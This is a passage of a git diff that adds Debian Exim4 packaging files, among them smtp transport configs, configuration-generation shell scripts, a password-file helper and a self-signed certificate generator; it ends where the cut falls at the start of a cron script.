a/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp new file mode 100644 index 0000000..bbad5fd --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp @@ -0,0 +1,57 @@ + +### transport/30_exim4-config_remote_smtp +################################# +# This transport is used for delivering messages over SMTP connections. +# Refuse to send any message with over-long lines, which could have +# been received other than via SMTP. The use of message_size_limit to +# enforce this is a red herring. + +remote_smtp: + debug_print = "T: remote_smtp for $local_part@$domain" + driver = smtp +.ifndef IGNORE_SMTP_LINE_LENGTH_LIMIT + message_size_limit = ${if > {$max_received_linelength}{998} {1}{0}} +.endif +.ifdef REMOTE_SMTP_HOSTS_AVOID_TLS + hosts_avoid_tls = REMOTE_SMTP_HOSTS_AVOID_TLS +.endif +.ifdef REMOTE_SMTP_HEADERS_REWRITE + headers_rewrite = REMOTE_SMTP_HEADERS_REWRITE +.endif +.ifdef REMOTE_SMTP_RETURN_PATH + return_path = REMOTE_SMTP_RETURN_PATH +.endif +.ifdef REMOTE_SMTP_HELO_DATA + helo_data=REMOTE_SMTP_HELO_DATA +.endif +.ifdef DKIM_DOMAIN +dkim_domain = DKIM_DOMAIN +.endif +.ifdef DKIM_SELECTOR +dkim_selector = DKIM_SELECTOR +.endif +.ifdef DKIM_PRIVATE_KEY +dkim_private_key = DKIM_PRIVATE_KEY +.endif +.ifdef DKIM_CANON +dkim_canon = DKIM_CANON +.endif +.ifdef DKIM_STRICT +dkim_strict = DKIM_STRICT +.endif +.ifdef DKIM_SIGN_HEADERS +dkim_sign_headers = DKIM_SIGN_HEADERS +.endif +.ifdef TLS_DH_MIN_BITS +tls_dh_min_bits = TLS_DH_MIN_BITS +.endif +.ifdef REMOTE_SMTP_TLS_CERTIFICATE +tls_certificate = REMOTE_SMTP_TLS_CERTIFICATE +.endif +.ifdef REMOTE_SMTP_PRIVATEKEY +tls_privatekey = REMOTE_SMTP_PRIVATEKEY +.endif +.ifndef REMOTE_SMTP_DISABLE_DANE +dnssec_request_domains = * +hosts_try_dane = * +.endif diff --git a/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost new file mode 100644 index 0000000..8c6b757 --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_remote_smtp_smarthost @@ -0,0 +1,48 @@ + +### transport/30_exim4-config_remote_smtp_smarthost +################################# + +# This transport is used for delivering messages over SMTP connections +# to a smarthost. The local host tries to authenticate. +# This transport is used for smarthost and satellite configurations. +# Refuse to send any messsage with over-long lines, which could have +# been received other than via SMTP. The use of message_size_limit to +# enforce this is a red herring. + +remote_smtp_smarthost: + debug_print = "T: remote_smtp_smarthost for $local_part@$domain" + driver = smtp + multi_domain +.ifndef IGNORE_SMTP_LINE_LENGTH_LIMIT + message_size_limit = ${if > {$max_received_linelength}{998} {1}{0}} +.endif + hosts_try_auth = <; ${if exists{CONFDIR/passwd.client} \ + {\ + ${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$host_address}}\ + }\ + {} \ + } +.ifdef REMOTE_SMTP_SMARTHOST_HOSTS_AVOID_TLS + hosts_avoid_tls = REMOTE_SMTP_SMARTHOST_HOSTS_AVOID_TLS +.endif +.ifdef REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS + hosts_require_tls = REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS +.endif +.ifdef REMOTE_SMTP_HEADERS_REWRITE + headers_rewrite = REMOTE_SMTP_HEADERS_REWRITE +.endif +.ifdef REMOTE_SMTP_RETURN_PATH + return_path = REMOTE_SMTP_RETURN_PATH +.endif +.ifdef REMOTE_SMTP_HELO_DATA + helo_data=REMOTE_SMTP_HELO_DATA +.endif +.ifdef TLS_DH_MIN_BITS +tls_dh_min_bits = TLS_DH_MIN_BITS +.endif +.ifdef REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE +tls_certificate = REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE +.endif +.ifdef REMOTE_SMTP_SMARTHOST_PRIVATEKEY +tls_privatekey = REMOTE_SMTP_SMARTHOST_PRIVATEKEY +.endif diff --git a/debian/debconf/conf.d/transport/35_exim4-config_address_directory b/debian/debconf/conf.d/transport/35_exim4-config_address_directory new file mode 100644 index 0000000..6861426 --- /dev/null +++ b/debian/debconf/conf.d/transport/35_exim4-config_address_directory @@ -0,0 +1,14 @@ +# This transport is used for handling file addresses generated by alias +# or .forward files if the path ends in "/", which causes it to be treated +# as a directory name rather than a file name. + +address_directory: + debug_print = "T: address_directory for $local_part@$domain" + driver = appendfile + delivery_date_add + envelope_to_add + return_path_add + check_string = "" + escape_string = "" + maildir_format + diff --git a/debian/debconf/update-exim4.conf b/debian/debconf/update-exim4.conf new file mode 100644 index 0000000..084af7f --- /dev/null +++ b/debian/debconf/update-exim4.conf @@ -0,0 +1,484 @@ +#!/bin/sh +# update-exim4.conf(8) - Generate /var/lib/exim4/config.autogenerated + +set -e +set -C +set -f + +UPEX4C_confdir="/etc/exim4" +UPEX4C_sections="main acl router transport retry rewrite auth" + +# list of ue4cc options that need to support both colons and +# semicolons as separators. dc_other_hostnames and dc_smarthost +# has special handling. +UPEX4C_semicolon="dc_local_interfaces dc_relay_nets dc_relay_domains" +EXIM="/usr/sbin/exim4" + +UPEX4C_verbose=no +UPEX4C_autoconfigfile=/var/lib/exim4/config.autogenerated +UPEX4C_outputfile="${UPEX4C_autoconfigfile}" +UPEX4C_version="" + +usage() { +cat <<EOF +$0 - Generate exim4 configuration files + Options: + -v|--verbose - Enable verbose mode, tell about ignored files + -h|--help - Show this message + --keepcomments - Do not remove comment lines + --removecomments - Remove comment lines + -o|--output file - write output to file instead of ${UPEX4C_outputfile} + -d|--confdir directory - read input from given directory instead of ${UPEX4C_confdir} + --check - Test generated file for validity and remove it again. +EOF +} + +## Parse commandline +TEMP=$(getopt -n update-exim4.conf \ + -l check,keepcomments,removecomments,output:,confdir:,help,verbose -- \ + +o:d:vh "$@") + +if test "$?" != 0; then + echo "Terminating..." >&2 + exit 1 +fi + +eval set -- ${TEMP} +while test "$1" != "--"; do + case $1 in + -h|--help) + usage + exit 0 + ;; + -v|--verbose) + UPEX4C_verbose=yes + ;; + --keepcomments) + UPEX4C_comments=yes + ;; + --removecomments) + UPEX4C_comments=no + ;; + --check) + UPEX4C_check=yes + ;; + -o|--output) + shift + UPEX4C_outputfile="$1" + ;; + -d|--confdir) + shift + UPEX4C_confdir="$1" + ;; + esac + shift +done +shift + +# No non-option arguments allowed. +if [ "$#" -ne 0 ]; then + echo "No non option arguments ($@) allowed" >&2 + usage >&2 + exit 1 +fi + +# exit immediately if /etc/exim4/exim4.conf exists and -o was not specified +if [ -e /etc/exim4/exim4.conf ] && \ + [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] ; then + exit 0 +fi + +UE4CC="$UPEX4C_confdir/update-exim4.conf.conf" +UPEX4C_confd="$UPEX4C_confdir/conf.d" + +[ -d "$(dirname "$UPEX4C_outputfile")" ] || \ +{ printf "$0: Error, missing $(dirname "$UPEX4C_outputfile"), exiting.\n" 1>&2 ; exit 1 ; } + +if [ -f "$UE4CC" ]; then + . "$UE4CC" +else + echo >&2 "$0: Error, no $UE4CC, exiting." + exit 1 +fi + + +UPEX4C_autoconfigfile=/var/lib/exim4/config.autogenerated +if [ "$(dirname ${UPEX4C_outputfile})" = "/var/lib/exim4" ] ; then + UPEX4C_tmp="${UPEX4C_outputfile}.tmp" +else + UPEX4C_tmp="$(tempfile -m600 -p ex4)" +fi + +lowerpipe() { + tr 'A-Z' 'a-z' +} + +lowercase() { + echo "$*" | lowerpipe +} + +check_ascii_pipe() { + IN="$(cat)" + # Use "abcdef... instead of a a-z or [:alnum:] here since the alternatives + # will also match non-ascii characters. + OUT="$(echo $IN | sed 's/[^-0-9ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\/\.!*@_~:;< \[\]]/_/g')" + if [ "$OUT" != "$IN" ]; then + echo >&2 "$0: non-ascii value $IN read from $UE4CC, sanitizing to $OUT" + fi + echo $OUT +} + +[ "${CFILEMODE}" = "" ] && CFILEMODE=644 +[ "${dc_use_split_config}" = "" ] && dc_use_split_config='false' +[ "${dc_localdelivery}" = "" ] && dc_localdelivery='mail_spool' +[ "${UPEX4C_comments:-}" = "" ] && UPEX4C_comments="${ue4c_keepcomments:-no}" + +TEMPLATEFILE="${UPEX4C_confdir}/exim4.conf.template" + +dc_use_split_config="$(lowercase $dc_use_split_config)" +UPEX4C_verbose="$(lowercase $UPEX4C_verbose)" + +if [ "${dc_use_split_config}" = "true" ]; then + [ "${UPEX4C_verbose}" = "yes" ] && \ + echo "using split configuration scheme from ${UPEX4C_confd}" + if ! [ -d "${UPEX4C_confd}" ]; then + printf >&2 "$0: Error, no ${UPEX4C_confd}, exiting.\n" + exit 1 + fi +else + [ "${UPEX4C_verbose}" = "yes" ] && \ + echo "using non-split configuration scheme from ${TEMPLATEFILE}" +fi + +# take only the first word from /etc/mailname +mailname="$(< /etc/mailname sed -n 's/\([-[:alnum:]@\.]\+\).*/\1/;p;q' | lowerpipe | check_ascii_pipe)" + +# barf if lookups are found. They have never been supported here. +if echo " ${dc_other_hostnames} ${dc_smarthost} ${dc_local_interfaces} ${dc_relay_nets} ${dc_relay_domains}"| grep -q '[[:space:]]\(partial-\)\?\(cdb\|dbm\|dbmnz\|\(d\|ipl\|\(n\?wild\)\?l\)search\|nis\)\([\*@]\)\?[[:space:]]*;'; then + echo >&2 "WARNING: using 'lookup;' constructs in $UE4CC has never been supported! See /usr/share/doc/exim4-config/NEWS.Debian.gz for details." +fi + +dc_other_hostnames="$(lowercase $dc_other_hostnames | check_ascii_pipe)" +# add localhost, get rid of spaces, trailing (semi)colons and make the list +# colon separated +local_domains="$(echo @:localhost:"${dc_other_hostnames}" | \ + sed -e 's/[;: ]*$//' -e 's/ *//' -e 's/;/:/g')" + + +# run-parts emulation, stolen from Branden's /etc/X11/Xsession +# Addition: Use file.rul instead if file if it exists. +run_parts () { + # reset LC_COLLATE + unset LANG LC_COLLATE LC_ALL + + if [ -z "$1" ]; then + errormessage "$0: internal run_parts called without an argument" + fi + if [ ! -d "$1" ]; then + errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory." + fi + for F in $(ls $1); do + if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then + if [ -f "$1/$F" ] ; then + if [ -f "$1/${F}.rul" ] ; then + echo "$1/${F}.rul" + else + echo "$1/$F" + fi + fi + else + if [ "${UPEX4C_verbose}" = "yes" ] && \ + [ -f "$1/$F" ] && \ + ! expr "$F" : '[[:alnum:]_-]\+\.rul'> /dev/null 2>&1 ; then + echo \ + "internal run-parts: ignoring file: $1/$F" 1>&2 + fi + fi + done; +} +# also from Branden +errormessage () { + # pretty-print messages of arbitrary length (no trailing newline) + echo "$*" | fold -s -w ${COLUMNS:-80} >&2; +} + +cat_parts() { + if [ -z "$1" ]; then + errormessage "$0: internal cat_parts called without an argument" + fi + if [ ! -d "$1" ]; then + errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory." + fi + for file in $(run_parts $1); do + echo "#####################################################" + echo "### $file" + echo "#####################################################" + cat "$file" + echo + echo "#####################################################" + echo "### end $file" + echo "#####################################################" + done +} + +gentmpconf() { + rm -f "${UPEX4C_tmp}" + touch "${UPEX4C_tmp}" + # this can be removed by the end of 2007 + #chown --reference=${TEMPLATEFILE} \ + # ${UPEX4C_tmp} ${UPEX4C_outputfile} + #chmod --reference=${TEMPLATEFILE} \ + # ${UPEX4C_tmp} ${UPEX4C_outputfile} + if [ "$(id -u)" = "0" ]; then + chown root:Debian-exim "${UPEX4C_tmp}" + [ -e "${UPEX4C_outputfile}" ] && \ + chown root:Debian-exim "${UPEX4C_outputfile}" + fi + chmod 640 "${UPEX4C_tmp}" + if [ -e "${UPEX4C_outputfile}" ]; then + chmod 640 "${UPEX4C_outputfile}" + fi +} + +removecomments(){ + if [ "${UPEX4C_comments}" = "no" ] ; then + grep -E -v '^[[:space:]]*#' | sed -e '/^$/N;/\n$/D' ; + else + cat + fi +} + +gentmpconf + +cat << EOF >> "${UPEX4C_tmp}" +######### +# WARNING WARNING WARNING +# WARNING WARNING WARNING +# WARNING WARNING WARNING +# WARNING WARNING WARNING +# WARNING WARNING WARNING +# This file was generated dynamically from +EOF + +if [ "${dc_use_split_config}" = "true" ] ; then +cat << EOF >> "${UPEX4C_tmp}" +# split config files in the $UPEX4C_confd/ directory. +EOF +else +cat << EOF >> "${UPEX4C_tmp}" +# non-split config ($UPEX4C_confdir/exim4.conf.localmacros +# and $UPEX4C_confdir/exim4.conf.template). +EOF +fi + +cat << EOF >> "${UPEX4C_tmp}" +# The config files are supplemented with package installation/configuration +# settings managed by debconf. This data is stored in +# $UPEX4C_confdir/update-exim4.conf.conf +# Any changes you make here will be lost. +# See /usr/share/doc/exim4-base/README.Debian.gz and update-exim4.conf(8) +# for instructions of customization. +# WARNING WARNING WARNING +# WARNING WARNING WARNING +# WARNING WARNING WARNING +# WARNING WARNING WARNING +# WARNING WARNING WARNING +######### +EOF + +# handle ";" in input values as separator change + +for field in $UPEX4C_semicolon; do + if eval echo \$$field | grep -q ";"; then + eval temp=\$$field + if ! echo $temp | grep -q "^<"; then + temp="<; $temp" + eval "$field='$temp'" + fi + fi +done + +# fix up smarthost line: change semicolons into single colons +dc_smarthost="$(lowercase $dc_smarthost | check_ascii_pipe | sed 's/;/:/g')" + +dc_relay_nets="$(lowercase $dc_relay_nets | check_ascii_pipe)" + +if echo "$dc_relay_nets" | grep -q '^<;'; then + dc_relay_nets="$dc_relay_nets ; 127.0.0.1 ; ::1" +else + dc_relay_nets="$dc_relay_nets : 127.0.0.1 : ::::1" +fi + +dc_eximconfig_configtype="$(lowercase $dc_eximconfig_configtype | check_ascii_pipe)" +dc_hide_mailname="$(lowercase $dc_hide_mailname | check_ascii_pipe)" +dc_readhost="$(lowercase $dc_readhost | check_ascii_pipe)" +case "$dc_eximconfig_configtype" in + satellite|smarthost) + if [ "${dc_hide_mailname}" = "true" ] && [ -n "${dc_readhost}" ] ; then + hide_mailname=1 + fi + ;; + local) + ;; + internet) + ;; + none|*) + if [ "${dc_use_split_config}" = "true" ] ; then + for i in ${UPEX4C_sections} ; do + cat_parts "${UPEX4C_confd}/$i" + done | \ + removecomments \ + >> "${UPEX4C_tmp}" + else + LOCALMACROS="" + if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then + LOCALMACROS="/etc/exim4/exim4.conf.localmacros" + fi + cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" | \ + removecomments \ + >> "${UPEX4C_tmp}" + fi + mv -f "${UPEX4C_tmp}" "${UPEX4C_outputfile}" + chmod "${CFILEMODE}" "${UPEX4C_outputfile}" + [ "${UPEX4C_verbose}" = "yes" ] && \ + echo "Not substituting variables since conftype is none (or other)" + exit 0 + ;; +esac + +UPEX4C_macros="##############################################\n" +UPEX4C_macros="${UPEX4C_macros}# the following macro definitions were created\n" +UPEX4C_macros="${UPEX4C_macros}# dynamically by $0\n" + +preprocess_macro() { + macroname="${1:-}" + shift + contents="$(lowercase ${@} | check_ascii_pipe)" + printf "%s" ".ifndef $macroname\n$macroname=$contents\n.endif\n" +} + +seed_macro() { + UPEX4C_macros="${UPEX4C_macros}$(preprocess_macro "$1" "$2")" +} + +file2macros() { + file="$1" + < $1 \ + sed -n '/^[[:upper:]]/p;' | \ + grep -v '^CFILEMODE=' | \ + while read line; do + errormessage "undocumented line $line found in $1, generating exim macro" + left="$(echo $line | sed 's/\([^=]*\).*/\1/')" + right="$(echo $line | sed 's/[^=]*=\(.*\)/\1/')" + preprocess_macro "$left" "$right" + done +} + +if [ "${dc_local_interfaces}" != "" ] ; then + seed_macro "MAIN_LOCAL_INTERFACES" "${dc_local_interfaces}" +fi + +if [ "${dc_minimaldns}" = "true" ] ; then + seed_macro "DC_minimaldns" "1" + if guessed_name="$(hostname --fqdn | lowerpipe | check_ascii_pipe | grep '\.')" ; then + seed_macro "MAIN_HARDCODE_PRIMARY_HOSTNAME" "$guessed_name" + else + errormessage "hostname --fqdn did not return a fully qualified name, dc_minimaldns will not work. Please fix your /etc/hosts setup." + fi +fi + +if [ -n "${hide_mailname:-}" ]; then + seed_macro "HIDE_MAILNAME" "${hide_mailname:-}" +fi +seed_macro "MAIN_PACKAGE_VERSION" "$UPEX4C_version" +seed_macro "MAIN_LOCAL_DOMAINS" "${local_domains}" +seed_macro "MAIN_RELAY_TO_DOMAINS" "${dc_relay_domains}" +seed_macro "ETC_MAILNAME" "$mailname" +seed_macro "LOCAL_DELIVERY" "${dc_localdelivery}" +seed_macro "MAIN_RELAY_NETS" "${dc_relay_nets}" +seed_macro "DCreadhost" "${dc_readhost}" +seed_macro "DCsmarthost" "${dc_smarthost}" +seed_macro "DC_eximconfig_configtype" "${dc_eximconfig_configtype}" +seed_macro "DCconfig_${dc_eximconfig_configtype}" "1" + +# dump everything starting with a capital into macros as well +# this is going to stay undocumented, but fixes PEBCAK where people write +# macros into ue4cc. + +UPEX4C_macros="${UPEX4C_macros}$(file2macros $UE4CC)" + +UPEX4C_macros="${UPEX4C_macros}##############################################\n" + +case "${dc_use_split_config}" in +true) + for i in ${UPEX4C_sections} ; do + echo "# begin processing $i #####" + cat_parts "${UPEX4C_confd}/$i" + echo "# end of $i #####" + done \ + | removecomments \ + | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \ + >> "${UPEX4C_tmp}" + RELEVANTTEMPLATE="$UPEX4C_confd" +;; +false) + if [ ! -r "$TEMPLATEFILE" ] ; then + echo "Error: Unsplit config selected and $TEMPLATEFILE missing ... exiting" 1>&2 + exit 1 + fi + LOCALMACROS="" + if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then + LOCALMACROS="${UPEX4C_confdir}/exim4.conf.localmacros" + fi + cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" \ + | removecomments \ + | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \ + >> "${UPEX4C_tmp}" + RELEVANTTEMPLATE="$TEMPLATEFILE" +;; +*) + errormessage "Invalid value for dc_use_split_config: \"${dc_use_split_config}\", exiting." + rm -f "${UPEX4C_tmp}" + exit 1 +;; +esac + +# check for left-over DEBCONF strings that may cause installation trouble +# (fix PEBCAK for people who don't accept conffile changes and don't +# read docs) +if grep -qr '^[^#]*DEBCONF[[:lower:]_]\+DEBCONF' $RELEVANTTEMPLATE \ + && ! grep -qr '^[[:space:]]*DEBCONFstringOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then + errormessage "DEBCONFsomethingDEBCONF found in exim configuration. This is most probably caused by you upgrading to exim4 4.67-3 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-2 and 4.67-4" +fi + +# check for left-over UPEX4CmacrosUPEX4C comment string that may cause +# installation trouble (fix PEBCAK for people who don't accept conffile +# changes and don't read docs) +if grep -qr '# UPEX4CmacrosUPEX4C' $RELEVANTTEMPLATE \ + && ! grep -qr '^[[:space:]]*UPEX4CmacrosOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then + errormessage "UPEX4CmacrosUPEX4C found in an exim configuration comment. This is most probably caused by you upgrading to exim4 4.67-5 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-5" +fi + + +# test validity if called without -o or if --check was supplied +if [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] || \ + [ "x${UPEX4C_check}" = "xyes" ]; then + if [ -x "${EXIM}" ] ; then + if ! "${EXIM}" -C "${UPEX4C_tmp}" -bV > /dev/null ; then + # we have an error in the configuration file. Do not install + # and activate. However, errors in string expansions inside + # the configuration file are not detected by this check! + errormessage "Invalid new configfile ${UPEX4C_tmp}, not installing ${UPEX4C_tmp} to ${UPEX4C_outputfile}" + exit 1 + fi + fi +fi +if [ "x${UPEX4C_check}" = "xyes" ]; then + rm -f "${UPEX4C_tmp}" + exit 0 +fi + +mv -f "${UPEX4C_tmp}" "${UPEX4C_outputfile}" +chmod "${CFILEMODE}" "${UPEX4C_outputfile}" + +# end of file diff --git a/debian/debconf/update-exim4.conf.template b/debian/debconf/update-exim4.conf.template new file mode 100755 index 0000000..6255dda --- /dev/null +++ b/debian/debconf/update-exim4.conf.template @@ -0,0 +1,139 @@ +#!/bin/bash + +set -e + +CONFDIR="${CONFDIR:-/etc/exim4}" +DONOTRUN='true' + +UPEX4CT_outputfile="${CONFDIR}/exim4.conf.template" + +usage() { +cat <<EOF +$0 - Generate exim4 configuration file template + Options: + -n|--nobackup - Overwrite old template, do not take backup. + -o|--output file - write output to file instead of ${UPEX4CT_outputfile} + -h|--help - This message. + -r|--run - Actually do something +EOF +} + +## Parse commandline +TEMP=$(getopt -n update-exim4.conf.template \ + -l nobackup,output:,help,run -- \ + +no:hr "$@") + +if test "$?" != 0; then + echo "Terminating..." >&2 + exit 1 +fi + +eval set -- ${TEMP} +while test "$1" != "--"; do + case $1 in + -h|--help) + usage + exit 0 + ;; + -o|--output) + shift + UPEX4CT_outputfile="$1" + ;; + -n|--nobackup) + NOBACKUP=1 + ;; + -r|--run) + DONOTRUN='false' + ;; + esac + shift +done +shift + +# No non-option arguments allowed. +if [ "$#" -ne 0 ]; then + echo "No non option arguments ($@) allowed" >&2 + usage >&2 + exit 1 +fi + +# run-parts emulation, stolen from Branden's /etc/X11/Xsession +# Addition: Use file.rul instead if file if it exists. +run_parts () { + # reset LC_COLLATE + unset LANG LC_COLLATE LC_ALL + + if [ -z "$1" ]; then + errormessage "$0: internal run_parts called without an argument" + fi + if [ ! -d "$1" ]; then + errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory." + fi + for F in $(ls $1 | grep -v /.svn); do + if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then + if [ -f "$1/$F" ] ; then + if [ -f "$1/${F}.rul" ] ; then + echo "$1/${F}.rul" + else + echo "$1/$F" + fi + fi + fi + done; +} +# also from Branden +errormessage () { + # pretty-print messages of arbitrary length (no trailing newline) + echo "$*" | fold -s -w ${COLUMNS:-80} >&2; +} + +cat_parts() { + if [ -z "$1" ]; then + errormessage "$0: internal cat_parts called without an argument" + fi + if [ ! -d "$1" ]; then + errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory." + fi + for file in $(run_parts $1); do + echo "#####################################################" + echo "### $file" + echo "#####################################################" + cat $file + echo "#####################################################" + echo "### end $file" + echo "#####################################################" + done +} + +if [ "$DONOTRUN" = "true" ]; then + errormessage "This program overwrites conffiles. Do not run unless you have consulted the manpage." >&2 + echo "Terminating..." >&2 + exit 1 +fi + + +if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ]; then + if [ -e "${UPEX4CT_outputfile}.bak.$$" ]; then + echo >&2 "ERR: ${UPEX4CT_outputfile}.bak.$$ already exists, aborting" + exit 1 + fi +fi + +NEWTEMPLATE=$(tempfile -m644 -p ex4) +if [ -f "${UPEX4CT_outputfile}" ] ; then + chmod --reference="${UPEX4CT_outputfile}" "$NEWTEMPLATE" +fi + +# generate .template. Ugly - better alternative? +SAVEWD="$(pwd)" +cd ${CONFDIR}/conf.d +for i in main acl router transport retry rewrite auth ; do + cat_parts $i +done > "$NEWTEMPLATE" +cd "$SAVEWD" + +if [ -e "${UPEX4CT_outputfile}" ] && [ -z "$NOBACKUP" ] ; then + mv "${UPEX4CT_outputfile}" \ + "${UPEX4CT_outputfile}.bak.$$" +fi +mv "$NEWTEMPLATE" "${UPEX4CT_outputfile}" diff --git a/debian/e-n-if-up b/debian/e-n-if-up new file mode 100644 index 0000000..f2bc72e --- /dev/null +++ b/debian/e-n-if-up @@ -0,0 +1,37 @@ +#!/bin/bash + +# put this file in /etc/network/if-up.d/exim4-smarthost +# add an exim4-smarthost smtp.server.example.com::587 line to your interface +# stanza in /etc/network/interfaces + +# this will only work for split config, since in non-split config we +# only have a single file which is included and which would need more +# serious string processing to alter. With split config, we can blindly +# overwrite our previous file. + +# Environment: +# MODE = { start | stop } +# IF_EXIM4_SMARTHOST = hostname[::port] + +SMARTHOSTFILE="/etc/exim4/conf.d/main/00_local_DCsmarthost" + +if [ -z "$IF_EXIM4_SMARTHOST" ]; then + exit 0 +fi + +if [ "$MODE" = 'stop' ]; then + rm -f $SMARTHOSTFILE + invoke exim4 reload > /dev/null || true + exit 0 +fi + +if [ "$IF_EXIM4_SMARTHOST" = "none" ]; then + rm -f $SMARTHOSTFILE + invoke exim4 reload > /dev/null || true + exit 0 +fi + +echo "DCsmarthost = ${IF_EXIM4_SMARTHOST}" > $SMARTHOSTFILE + +invoke exim4 reload > /dev/null || true +/usr/sbin/exim4 -qqf diff --git a/debian/email-addresses b/debian/email-addresses new file mode 100644 index 0000000..8e4f2cb --- /dev/null +++ b/debian/email-addresses @@ -0,0 +1,9 @@ +# This is /etc/email-addresses. It is part of the exim package +# +# This file contains email addresses to use for outgoing mail. Any local +# part not in here will be qualified by the system domain as normal. +# +# It should contain lines of the form: +# +#user: someone@isp.com +#otheruser: someoneelse@anotherisp.com diff --git a/debian/example.conf.md5 b/debian/example.conf.md5 new file mode 100644 index 0000000..e7ee18b --- /dev/null +++ b/debian/example.conf.md5 @@ -0,0 +1 @@ +321b32be071eee7394d7884f9471e6bd - diff --git a/debian/exim-adduser b/debian/exim-adduser new file mode 100755 index 0000000..8561998 --- /dev/null +++ b/debian/exim-adduser @@ -0,0 +1,52 @@ +#!/usr/bin/perl + +# Stitched together by Andreas Metzler, really too trivial to be copyrightable. + +use strict; +use warnings; +my $user; +my $passwd; +my $file; +my $rand; + +if (@ARGV == 0) { + $file="/etc/exim4/passwd"; +} else { + $file=$ARGV[0]; +} + +open(PWDFILE,">>$file") || die("Couldn't append to file '$file': $!"); + +print "User: "; +chop($user = <STDIN>); +print "Password: "; +chop($passwd = <STDIN>); + +$rand = join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64, rand 64, rand 64]; +print PWDFILE $user . ":" . crypt($passwd, q{$1$} . $rand . q{$}) . ":" . $passwd . "\n"; +close(PWDFILE); + +__END__ + +=head1 NAME + +exim-adduser - Add username/password to exim password-file. + +=head1 USAGE + +exim-adduser [filename] + +exim-adduser prompts for username and password and adds + +username:crypted-password:cleartext-password + +to the given file, if no filename is given /etc/exim4/passwd is used. + +=head1 BUGS + +Probably many, this really is just example code. + +=head1 SEE ALSO + +/usr/share/doc/exim4-base/*, +exim4(8) diff --git a/debian/exim-gencert b/debian/exim-gencert new file mode 100755 index 0000000..894e9da --- /dev/null +++ b/debian/exim-gencert @@ -0,0 +1,78 @@ +#!/bin/sh -e + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +DIR=/etc/exim4 +CERT=$DIR/exim.crt +KEY=$DIR/exim.key + +# This exim binary was built with GnuTLS which does not support dhparams +# from a file. See /usr/share/doc/exim4-base/README.Debian.gz +#DH=$DIR/exim.dhparam + +if ! which openssl > /dev/null ;then + echo "$0: openssl is not installed, exiting" 1>&2 + exit 1 +fi + +# valid for three years +DAYS=1095 + +if [ "$1" != "--force" ] && [ -f $CERT ] && [ -f $KEY ]; then + echo "[*] $CERT and $KEY exists!" + echo " Use \"$0 --force\" to force generation!" + exit 0 +fi + +if [ "$1" = "--force" ]; then + shift +fi + +#SSLEAY=/tmp/exim.ssleay.$$.cnf +SSLEAY="$(tempfile -m600 -pexi)" + +cat > $SSLEAY <<EOM +RANDFILE = $HOME/.rnd +[ req ] +default_bits = 2048 +default_keyfile = exim.key +distinguished_name = req_distinguished_name +[ req_distinguished_name ] +countryName = Country Code (2 letters) +countryName_default = US +countryName_min = 2 +countryName_max = 2 +stateOrProvinceName = State or Province Name (full name) +localityName = Locality Name (eg, city) +organizationName = Organization Name (eg, company; recommended) +organizationName_max = 64 +organizationalUnitName = Organizational Unit Name (eg, section) +organizationalUnitName_max = 64 +commonName = Server name (eg. ssl.domain.tld; required!!!) +commonName_max = 64 +emailAddress = Email Address +emailAddress_max = 40 +EOM + +echo "[*] Creating a self signed SSL certificate for Exim!" +echo " This may be sufficient to establish encrypted connections but for" +echo " secure identification you need to buy a real certificate!" +echo " " +echo " Please enter the hostname of your MTA at the Common Name (CN) prompt!" +echo " " + +openssl req -config $SSLEAY -x509 -newkey rsa:2048 -keyout $KEY -out $CERT -days $DAYS -nodes +#see README.Debian.gz*# openssl dhparam -check -text -5 512 -out $DH +rm -f $SSLEAY + +chown root:Debian-exim $KEY $CERT $DH +chmod 640 $KEY $CERT $DH + +echo "[*] Done generating self signed certificates for exim!" +echo " Refer to the documentation and example configuration files" +echo " over at /usr/share/doc/exim4-base/ for an idea on how to enable TLS" +echo " support in your mail transfer agent." + diff --git a/debian/exim4-base.config b/debian/exim4-base.config new file mode 100644 index 0000000..39a95fc --- /dev/null +++ b/debian/exim4-base.config @@ -0,0 +1,15 @@ +#!/bin/sh +set -e + +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +if [ "reconfigure" = "$1" ]; then + db_beginblock + db_input low exim4-base/drec || [ "$?" = "30" ] + db_go +fi diff --git a/debian/exim4-base.cron.daily b/debian/exim4-base.cron.daily new file mode 100644 index 0000000..9ee4140 --- /dev/null +++ b/debian/exim4-base.cron.daily @@ -0,0 +1,105 @@ +#!/bin/sh + +if [ -n "$EX4DEBUG" 